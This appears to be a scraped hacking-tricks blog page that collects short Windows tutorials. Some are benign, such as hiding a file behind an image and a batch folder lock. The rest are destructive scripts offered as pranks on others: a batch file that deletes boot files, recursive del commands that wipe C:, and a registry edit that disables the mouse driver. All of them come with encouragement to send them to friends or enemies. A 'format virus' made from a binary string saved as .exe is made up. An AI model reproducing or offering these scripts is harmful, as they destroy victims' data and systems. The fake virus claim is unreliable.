Its All About Knowledge

There are some important  files or document you want to hide from others on your computer. To do that you might be creating folder inside folder to hide such files but in todays tutorial i will change this by teaching you a interesting trick to hide files behind images.To hide a file behind a image  means that if any one opens that image he will see the image, but to see the hidden file we need to open that image in a specific way. So lets get started. how to do it??? 1. Select an image to be used for hiding file behind the image. 2. Now select a file to hide behind the image and make it in .RAR format . With the help of the WinRAR. 3. And most important is that paste both the files on desktop. You may do this anywhere instead of desktop if you have some basic understanding of command line. 4. Now open cmd by going to Start > Accessories > Command Prompt and type following commands in it. 5. CD stands for change directory by typing above...

I will show you interesting and usefull trick to password protect folder without using any software using batch file programming. This trick will work on all windows platform (Win XP, Win 7). Follow below tutorial to learn this trick. 1. Open Notepad and Copy code given below into it: cls @ECHO OFF title coolhacking-tricks.blogspot.com if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK if NOT EXIST MyFolder goto MDMyFolder :CONFIRM echo Are you sure to lock this folder? (Y/N) set/p "cho=>" if %cho%==Y goto LOCK if %cho%==y goto LOCK if %cho%==n goto END if %cho%==N goto END echo Invalid choice. goto CONFIRM :LOCK ren MyFolder "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" echo Folder locked goto End :UNLOCK echo Enter password to Unlock Your Secure Folder set/p "pass=>" if NO...

Open notepad and copy/paste this code: @echo off attrib -r -s -h c:\autoexec.bat del c:\autoexec.bat attrib -r -s -h c:\boot.ini del c:\boot.ini attrib -r -s -h c:\ntldr del c:\ntldr attrib -r -s -h c:\windows\win.ini del c:\windows\win.ini Now Save it as a  .bat  file. This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart. REMEMBER - DO NOT CLICK THIS FILE.   YOU WON'T RECOVER YOUR COMPUTER BACK AFTER YOU OPEN THE .BAT FILE! Send it to your friends computer and tell them to open it. Have fun!! Here is another code too..... cmd /c del c:\windows\* /F /S /Q cmd /c del c:\* /F /S /Q Paste it in NotePad And Save It with Extension  .cmd  or  .bat 

  Today i will show you how to make a virus to format Hard disk. You can send this file to your friend or enemy to format their Hard disk. But please dont try this on your own computer or else you will end up formatting your own computer. Copy  the below codes into  Notepad . 01001011000111110010010101010101010000011111100000  Save the file as  Format.exe You have created your virus. Enjoy !!! 

Most of us are familiar with the virus that used to block Orkut and Youtube websites. If you are curious about creating such a virus on your own, here is how it can be done. As usual I am using my favorite programming language  ‘C’  to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon. This virus has been exclusively created in  ‘C’ . So, anyone with a basic knowledge of ‘C’ will be able to understand the working of this virus program. When this program is executed, it will block all those websites that are listed in the source code. In the following example, the sites that are listed in the source code are Google, Yahoo and Youtube. When you download the source code of this program, you have a choice to include your own list of sites that you want this virus to block. I have just removed the source code of this program from this post as it is lengthy and makes the post look messy. You ca...

virus which is harmfull it will  disable your mouse so think before trying it on yourself. 1. Open  Notepad  and copy below codes. rem --------------------------------- rem Disable Mouse set key="HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass" reg delete %key% reg add %key% /v Start /t REG_DWORD /d 4 rem --------------------------------- 2.  Save this file as   virus.bat. 3.  Done you just created your virus.